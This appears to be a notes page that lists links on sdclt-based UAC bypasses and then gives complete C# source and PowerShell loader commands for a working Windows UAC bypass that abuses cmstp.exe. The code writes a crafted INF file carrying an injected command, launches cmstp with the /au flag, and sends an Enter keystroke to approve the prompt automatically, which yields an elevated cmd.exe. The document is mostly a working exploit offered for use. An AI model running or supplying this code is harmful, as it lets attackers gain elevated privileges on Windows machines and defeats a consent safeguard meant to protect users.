使用 sdclt 绕过 UAC 的新方法

繞過UAC系列之 SDCLT的利用

https://www.getit01.com/p2018021129325846/

機碼登錄與三種格式(REG、INF、BAT)介紹

http://m.blog.sina.com.tw/30830/article.php?pbgid=30830&entryid=539741

https://nosec.org/home/detail/2205.html

https://kknews.cc/zh-tw/code/k693ozq.html

https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/

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/*
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
Research on CMSTP.exe

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;


  public  class CMSTPBypass
    {
        // Our .INF file data!
        public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

        [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

        public static string BinaryPath = @"c:\windows\system32\cmstp.exe";

        /* Generates a random named .inf file with command to be executed with UAC privileges */
        public static string SetInfFile(string CommandToExecute)
        {
            string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
            string TemporaryDir = @"C:\windows\temp";
            StringBuilder OutputFile = new StringBuilder();
            OutputFile.Append(TemporaryDir);
            OutputFile.Append("\\");
   
            OutputFile.Append(RandomFileName);
            OutputFile.Append(".inf");
            StringBuilder newInfData = new StringBuilder(InfData);
            newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
            File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
            return OutputFile.ToString();
        }

        public static bool Execute(string CommandToExecute)
        {
            if (!File.Exists(BinaryPath))
            {
                Console.WriteLine("Could not find cmstp.exe binary!");
                return false;
            }
            StringBuilder InfFile = new StringBuilder();
            InfFile.Append(SetInfFile(CommandToExecute));

            Console.WriteLine("Payload file written to " + InfFile.ToString());
            ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
            startInfo.Arguments = "/au " + InfFile.ToString();
            startInfo.UseShellExecute = false;
            Process.Start(startInfo);

            IntPtr windowHandle = new IntPtr();
            windowHandle = IntPtr.Zero;
            do
            {
                windowHandle = SetWindowActive("cmstp");
            } while (windowHandle == IntPtr.Zero);

            System.Windows.Forms.SendKeys.SendWait("{ENTER}");
            return true;
        }

        public static IntPtr SetWindowActive(string ProcessName)
        {
            Process[] target = Process.GetProcessesByName(ProcessName);
            if (target.Length == 0) return IntPtr.Zero;
            target[0].Refresh();
            IntPtr WindowHandle = new IntPtr();
            WindowHandle = target[0].MainWindowHandle;
            if (WindowHandle == IntPtr.Zero) return IntPtr.Zero;
            SetForegroundWindow(WindowHandle);
            ShowWindow(WindowHandle, 5);
            return WindowHandle;
        }
    }
===================================================================

Add-Type -TypeDefinition ([IO.File]::ReadAllText("Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTPUACBypass.dll"

 [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("CMSTPUACBypass.dll"))

[CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")